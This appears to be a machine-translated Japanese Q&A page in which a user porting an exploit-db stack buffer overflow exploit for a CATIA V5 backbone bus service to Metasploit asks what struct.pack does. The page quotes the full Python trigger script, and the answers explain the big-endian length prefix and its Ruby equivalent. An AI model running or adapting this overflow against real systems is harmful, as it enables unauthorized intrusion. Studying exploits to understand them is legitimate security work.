web-dev-qa-db-ja.com

Python質問を悪用しますか?

誰かがこの方法と理由を説明していただけますかstruct.packコードは以下のエクスプロイトで使用されていますか?それがどのように脆弱性を引き起こすかを理解しようとしています。バッファオーバーフローの側面を理解しています。以下を参照していますstruct.pack 方法。私はRuby自分自身であり、予備的なsruct.pack以下のコードですが、どのようにしてvulnをトリガーするのか、なぜそれが必要なのか理解していません。スプライトをmsfモジュールに移植している最中です。この時点で、エクスプロイトの動作を確認しましたが、どのように動作するのか理解できません。 enter image description here

s.send(struct.pack('>I',len(buff) ))

struct writes/reads binary data.
pack returns string containing values '>I',len, buff ... packed according to given format.
> represents big endian byte alignment (standard size no alignment)
I format character = integer python type (4 byte packed value)
len = buffer length

参照: http://docs.python.org/2/library/struct.html#struct.packhttp://www.exploit-db.com/exploits/31762/

#!/usr/bin/env python

import socket
import struct
import ctypes

RetAdd="\x90\x90\x90\x90"
Shell="S" *1000
buff= "\x00\x01\x00\x30" + "A" * 20 + "AppToBusInitMsg" +"\x00" + "\x00" * 48 + "CATV5_Backbone_Bus" +"\x00" + "\x00"* 49 + "\x00\x00\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.3", 55555))
#s.connect(("192.168.0.5", 55558))
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
buff= "\x02\x00\x00\x00" + RetAdd*3 + "\x00\x00\x00\x00" * 13 + "\x00\x00\x00\x00" * 5 + "CATV5_AllApplications" +"\x00" + "\x00"* 43 +"\x00\x00\x98" + "\x00\x00\x00\x01" +"\x00"*4 +"\x08\x00\x00\x00" + Shell                                  
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
2
nanotechz9l

あなたがマークしているコードがバグを悪用するために達成したコードだとは思いません:

s.send(struct.pack( '> I'、len(buff)))

この行が実行していることは、適切なエンディアン(ビッグエンディアンまたはネットワークエンディアン)で送信する予定のバッファの長さを送信することです。

私はエクスプロイト自体がおそらく不適切に管理される送信された「buff」変数の長さと関係があると信じています:

ユーザー指定の入力をユーザー指定のサイズのスタックバッファーにコピーすると、スタックバッファーオーバーフローが発生します。

3
kiBytes

s.send(struct.pack('>l',len(buff)))は、「[エンディングの長さ(バフの長さ)を含むビッグエンディアンロング(4バイト)をソケット経由で送信する」]として読み取ることができます。

_struct.pack_は、エンディアンと、ネットワークに書き込むバイト数の両方を指定しています。

http://docs.python.org/2/library/struct.html

Rubyへの移植では、Pythonの_struct.pack_の変換として最も可能性が高いのはRubyの_array.pack_です。私はこれまで書いたことはありませんRubyしかし、[len(buff)].pack("N")はあなたが望むものだと思います(符号なし32ビットビッグエンディアン)

http://www.Ruby-doc.org/core-2.1.1/Array.html

1
antik